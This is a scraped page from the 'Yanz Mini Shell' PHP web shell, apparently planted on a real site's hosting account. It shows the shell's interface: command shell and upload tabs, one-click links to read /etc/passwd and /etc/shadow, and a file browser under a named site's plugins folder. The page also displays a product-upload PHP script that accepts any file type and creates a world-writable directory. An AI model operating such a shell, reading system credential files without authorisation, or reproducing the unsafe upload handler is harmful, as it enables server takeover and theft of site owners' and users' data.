Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
select2
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; $response = ["status" => "error", "message" => "Unknown error occurred"]; try { if ( empty($_POST['product_name']) || empty($_POST['category']) || empty($_POST['price']) || empty($_POST['status']) ) { throw new Exception("Required fields are missing."); } $name = $_POST['product_name']; $category = $_POST['category']; $price = $_POST['price']; $status = $_POST['status']; $description = $_POST['description'] ?? ""; // Handle images $imagePaths = []; if (!empty($_FILES['images']['name'][0])) { $uploadDir = '../../uploads/products/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } foreach ($_FILES['images']['tmp_name'] as $index => $tmpName) { if (!empty($tmpName) && is_uploaded_file($tmpName)) { $originalName = basename($_FILES['images']['name'][$index]); $fileName = time() . "_" . preg_replace("/[^a-zA-Z0-9\._-]/", "", $originalName); $targetFile = $uploadDir . $fileName; if (move_uploaded_file($tmpName, $targetFile)) { $imagePaths[] = 'uploads/products/' . $fileName; } else { throw new Exception("Failed to upload file: " . $originalName); } } } } // Save as comma-separated string $imageList = implode(',', $imagePaths); // ✅ Just a string, not JSON $stmt = $pdo->prepare("INSERT INTO tbl_product (product_name, category_id, price, status, description, images) VALUES (?, ?, ?, ?, ?, ?)"); $stmt->execute([$name, $category, $price, $status, $description, $imageList]); $response = ["status" => "success", "message" => "Product saved successfully."]; } catch (Exception $e) { $response = ["status" => "error", "message" => $e->getMessage()]; } echo json_encode($response);
Free Space : 11554336768 Byte